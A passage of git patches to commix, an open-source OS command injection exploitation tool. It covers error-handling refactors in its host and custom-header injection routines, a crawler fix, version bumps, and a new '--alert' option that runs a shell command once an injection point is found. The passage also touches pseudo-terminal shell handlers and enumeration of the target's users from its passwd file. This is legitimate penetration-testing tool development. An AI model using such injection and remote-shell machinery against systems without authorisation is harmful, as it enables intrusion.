- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ except Exception as err_msg:
+ response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
@@ -878,96 +632,24 @@ def inject_host(url, vuln_parameter, payload, proxy):
start = time.time()
proxy = None
- #response = inject_host(url, vuln_parameter, payload, proxy)
- # Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_host(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Check if defined Tor.
+ except Exception as err_msg:
+ response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_host(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ except Exception as err_msg:
+ response = request_failed(err_msg)
else:
try:
response = inject_host(url, vuln_parameter, payload, proxy)
+ except Exception as err_msg:
+ response = request_failed(err_msg)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
@@ -975,7 +657,6 @@ def inject_host(url, vuln_parameter, payload, proxy):
else:
return response
-
"""
Check if target host is vulnerable. (Custom header injection)
"""
@@ -1015,96 +696,24 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
start = time.time()
proxy = None
- #response = inject_custom_header(url, vuln_parameter, payload, proxy)
-
- # Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_custom_header(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Check if defined Tor.
+ except Exception as err_msg:
+ response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_custom_header(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ except Exception as err_msg:
+ response = request_failed(err_msg)
else:
try:
response = inject_custom_header(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ except Exception as err_msg:
+ response = request_failed(err_msg)
+
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index e9be40c905..95bb2d2d80 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -291,45 +291,46 @@ def crawler(url, url_num, crawling_list):
info_msg = "Starting crawler for target URL '" + url + "'" + _ + "."
print(settings.print_info_msg(info_msg))
response = request(url)
- if settings.SITEMAP_CHECK:
- enable_crawler()
- if settings.SITEMAP_CHECK is None:
- check_sitemap()
- if settings.SITEMAP_CHECK:
- output_href = sitemap(url)
- if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None):
- output_href = do_process(url)
- if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
- settings.DEFAULT_CRAWLING_DEPTH = 1
- while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth):
- info_msg = "Searching for usable "
- info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "."
- print(settings.print_info_msg(info_msg))
- if settings.DEFAULT_CRAWLING_DEPTH == 2:
- output_href = new_crawled_hrefs
- elif settings.DEFAULT_CRAWLING_DEPTH > 2:
- output_href = new_crawled_hrefs + crawled_hrefs
- try:
- [output_href.remove(x) for x in visited_hrefs if x in output_href]
- except TypeError:
- pass
- link = 0
- if output_href is not None:
- for url in output_href:
- if url not in visited_hrefs and url is not None:
- link += 1
- settings.CRAWLED_URLS_NUM = link
- if settings.SINGLE_WHITESPACE in url:
- url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
- visited_hrefs.append(url)
- do_process(url)
- info_msg = str(link)
- info_msg += "/" + str(len(output_href)) + " links visited."
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
- if link != 0:
- print(settings.SINGLE_WHITESPACE)
- settings.DEFAULT_CRAWLING_DEPTH += 1
+ if type(response) is not bool and response is not None:
+ if settings.SITEMAP_CHECK:
+ enable_crawler()
+ if settings.SITEMAP_CHECK is None:
+ check_sitemap()
+ if settings.SITEMAP_CHECK:
+ output_href = sitemap(url)
+ if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None):
+ output_href = do_process(url)
+ if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
+ settings.DEFAULT_CRAWLING_DEPTH = 1
+ while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth):
+ info_msg = "Searching for usable "
+ info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "."
+ print(settings.print_info_msg(info_msg))
+ if settings.DEFAULT_CRAWLING_DEPTH == 2:
+ output_href = new_crawled_hrefs
+ elif settings.DEFAULT_CRAWLING_DEPTH > 2:
+ output_href = new_crawled_hrefs + crawled_hrefs
+ try:
+ [output_href.remove(x) for x in visited_hrefs if x in output_href]
+ except TypeError:
+ pass
+ link = 0
+ if output_href is not None:
+ for url in output_href:
+ if url not in visited_hrefs and url is not None:
+ link += 1
+ settings.CRAWLED_URLS_NUM = link
+ if settings.SINGLE_WHITESPACE in url:
+ url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
+ visited_hrefs.append(url)
+ do_process(url)
+ info_msg = str(link)
+ info_msg += "/" + str(len(output_href)) + " links visited."
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ sys.stdout.flush()
+ if link != 0:
+ print(settings.SINGLE_WHITESPACE)
+ settings.DEFAULT_CRAWLING_DEPTH += 1
output_href = crawled_hrefs
no_usable_links(output_href)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a7d2dca63f..a2450770be 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "57"
+REVISION = "58"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 7be2e2ef5fec2ed1ecec985de866fd294665bcda Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 7 Feb 2023 07:51:23 +0200
Subject: [PATCH 277/560] Update regarding
https://github.com/commixproject/commix/issues/812
---
src/core/injections/controller/checks.py | 6 +++---
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 4b38beb9ef..5fd3c23cbc 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -17,7 +17,6 @@
import re
import os
import sys
-import glob
import json
import time
import socket
@@ -27,6 +26,7 @@
import gzip
import zlib
import traceback
+from glob import glob
from src.utils import common
from src.utils import logs
from src.utils import menu
@@ -1133,7 +1133,7 @@ def list_tamper_scripts():
info_msg = "Listing available tamper scripts."
print(settings.print_info_msg(info_msg))
if menu.options.list_tampers:
- for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
+ for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
content = open(script, "rb").read().decode(settings.DEFAULT_CODEC)
match = re.search(r"About:(.*)\n", content)
if match:
@@ -1148,7 +1148,7 @@ def tamper_scripts(stored_tamper_scripts):
# Check the provided tamper script(s)
available_scripts = []
provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())))
- for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
+ for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
available_scripts.append(os.path.basename(script.split(".py")[0]))
for script in provided_scripts:
if script in available_scripts:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a2450770be..d608614a89 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "58"
+REVISION = "59"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 396c67bb643f08ff918cac60c847bd4dbfa9cf74 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 8 Feb 2023 08:08:37 +0200
Subject: [PATCH 278/560] Fixes
https://github.com/commixproject/commix/issues/811
---
src/utils/common.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index 645cce5d35..be742cc330 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -307,7 +307,7 @@ def unhandled_exception():
elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \
any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \
- any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")):
+ any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "
Date: Fri, 10 Feb 2023 08:49:25 +0200
Subject: [PATCH 279/560] Minor update
---
README.md | 3 ++-
doc/THANKS.md | 1 +
src/utils/settings.py | 2 +-
3 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index e149bd0b1f..34e8aeb1b8 100644
--- a/README.md
+++ b/README.md
@@ -43,4 +43,5 @@ To get an overview of commix available options, switches and/or basic ideas on h
## Translations
-* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
\ No newline at end of file
+* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
+* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md)
\ No newline at end of file
diff --git a/doc/THANKS.md b/doc/THANKS.md
index 44e0c582d9..889a3a64a3 100755
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -7,6 +7,7 @@
* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation.
## List of individual contributors:
+* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md.
* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`).
* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
* Thanks [609496288](https://github.com/609496288) for reporting a bug.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bd2c6f9186..f2719c4b1f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "60"
+REVISION = "61"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 57a598b33dfca2b218e9c93b153b011c39ef5cb2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 17 Feb 2023 09:27:36 +0200
Subject: [PATCH 280/560] Updated to v3.7
---
doc/CHANGELOG.md | 2 +-
setup.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 9ab42d8fee..6dfb28b1d1 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,4 @@
-## Version 3.7 (TBA)
+## Version 3.7 (2023-02-17)
* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
diff --git a/setup.py b/setup.py
index 5e356a3ae1..659ffec41c 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.7-dev',
+ version='3.7',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f2719c4b1f..8bc684c474 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -242,7 +242,7 @@ def sys_argv_errors():
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
REVISION = "61"
-STABLE_RELEASE = False
+STABLE_RELEASE = True
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
From c67abb629bf4d579961a9c1c5075856557c326f2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 19 Feb 2023 10:53:35 +0200
Subject: [PATCH 281/560] Update CHANGELOG.md
---
doc/CHANGELOG.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 6dfb28b1d1..33af793dbd 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (2023-02-17)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
From 0929e1887e38d58760fd096b9c5af3b2d7881448 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 20 Feb 2023 09:05:56 +0200
Subject: [PATCH 282/560] Added a new option `--alert` to run host OS
command(s) when injection point is found.
---
doc/CHANGELOG.md | 3 +++
setup.py | 2 +-
.../blind/techniques/time_based/tb_handler.py | 1 +
src/core/injections/controller/checks.py | 15 +++++++++++++++
.../techniques/classic/cb_handler.py | 3 ++-
.../techniques/eval_based/eb_handler.py | 3 ++-
.../semiblind/techniques/file_based/fb_handler.py | 3 ++-
.../techniques/tempfile_based/tfb_handler.py | 1 +
src/core/main.py | 7 +++++++
src/core/modules/shellshock/shellshock.py | 3 ++-
src/utils/menu.py | 6 ++++++
src/utils/settings.py | 9 ++++++---
12 files changed, 48 insertions(+), 8 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 33af793dbd..b2c7ef2d07 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,3 +1,6 @@
+## Version 3.8 (TBA)
+* Added: New option `--alert` to run host OS command(s) when injection point is found.
+
## Version 3.7 (2023-02-17)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
diff --git a/setup.py b/setup.py
index 659ffec41c..dce7dc683a 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.7',
+ version='3.8-dev',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index b040d64f40..e8d5f8511a 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -451,6 +451,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Pseudo-Terminal shell
try:
+ checks.alert()
go_back = False
go_back_again = False
while True:
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 5fd3c23cbc..9fdd85d4a0 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -26,6 +26,7 @@
import gzip
import zlib
import traceback
+import subprocess
from glob import glob
from src.utils import common
from src.utils import logs
@@ -131,6 +132,20 @@ def mobile_user_agents():
common.invalid_option(mobile_user_agent)
pass
+"""
+Run host OS command(s) when injection point is found.
+"""
+def alert():
+ if settings.ALERT:
+ info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'."
+ print(settings.print_info_msg(info_msg))
+ try:
+ process = subprocess.Popen(menu.options.alert, shell=True)
+ process.wait()
+ except Exception as ex:
+ err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'."
+ print(settings.print_error_msg(err_msg))
+
"""
Check for HTTP Method
"""
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 3d0c67f6de..3ced16c42a 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -326,8 +326,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if menu.options.os_cmd:
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ # Pseudo-Terminal shell
try:
- # Pseudo-Terminal shell
+ checks.alert()
go_back = False
go_back_again = False
while True :
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 0a07053332..13fc592cd8 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -338,8 +338,9 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ # Pseudo-Terminal shell
try:
- # Pseudo-Terminal shell
+ checks.alert()
go_back = False
go_back_again = False
while True:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index a24fe70083..2ea127a434 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -553,8 +553,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Pseudo-Terminal shell
try:
- # Pseudo-Terminal shell
+ checks.alert()
go_back = False
go_back_again = False
while True:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 87798a7129..2f4e6dee82 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -495,6 +495,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
# Pseudo-Terminal shell
try:
+ checks.alert()
go_back = False
go_back_again = False
while True:
diff --git a/src/core/main.py b/src/core/main.py
index 14bbca449e..8daee1b8dd 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -290,6 +290,13 @@ def check_for_injected_url(url):
"""
def main(filename, url):
try:
+ if menu.options.alert:
+ if menu.options.alert.startswith('-'):
+ err_msg = "Value for option '--alert' must be valid operating system command(s)."
+ print(settings.print_error_msg(err_msg))
+ else:
+ settings.ALERT = True
+
if menu.options.offline:
settings.CHECK_FOR_UPDATES_ON_START = False
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 817e53767d..e708cba555 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -414,8 +414,9 @@ def shellshock_handler(url, http_request_method, filename):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.print_single_os_cmd(cmd, shell)
+ # Pseudo-Terminal shell
try:
- # Pseudo-Terminal shell
+ checks.alert()
go_back = False
go_back_again = False
while True:
diff --git a/src/utils/menu.py b/src/utils/menu.py
index e3069316c7..71ca7e0ec8 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -561,6 +561,12 @@ def banner():
default=False,
help="Display list of available tamper scripts.")
+misc.add_option("--alert",
+ action="store",
+ dest="alert",
+ default=False,
+ help="Run host OS command(s) when injection point is found.")
+
misc.add_option("--no-logging",
action="store_true",
dest="no_logging",
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8bc684c474..af577ce839 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -240,9 +240,9 @@ def sys_argv_errors():
DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool"
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
-VERSION_NUM = "3.7"
-REVISION = "61"
-STABLE_RELEASE = True
+VERSION_NUM = "3.8"
+REVISION = "1"
+STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
@@ -1235,6 +1235,9 @@ def sys_argv_errors():
CHECKING_PARAMETER = ""
+# Run host OS command(s) when injection point is found.
+ALERT = False
+
USE_PCRE_E_MODIFIER = None
PCRE_MODIFIER = "/e"
From 7a75bc06185a8f0ba47544808fdb3cbb2e236725 Mon Sep 17 00:00:00 2001
From: daniruiz
Date: Sun, 26 Feb 2023 10:07:40 +0100
Subject: [PATCH 283/560] Fix typo 'ptint' instead of 'print'
I've already pushed the patch in Kali so it should be fixed soon https://gitlab.com/kalilinux/packages/commix/-/commit/799c72b4698bcdaeb4c3cd5b3dc66254acf57438
---
src/core/injections/controller/checks.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 9fdd85d4a0..85ee8076ca 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -2092,7 +2092,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi
# print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
pass
except IndexError:
@@ -2491,4 +2491,4 @@ def define_py_working_dir():
pass
settings.USER_DEFINED_PYTHON_DIR = True
-# eof
\ No newline at end of file
+# eof
From 10f594ad1c485cc8016852cf780f0287807ede32 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 26 Feb 2023 20:35:57 +0200
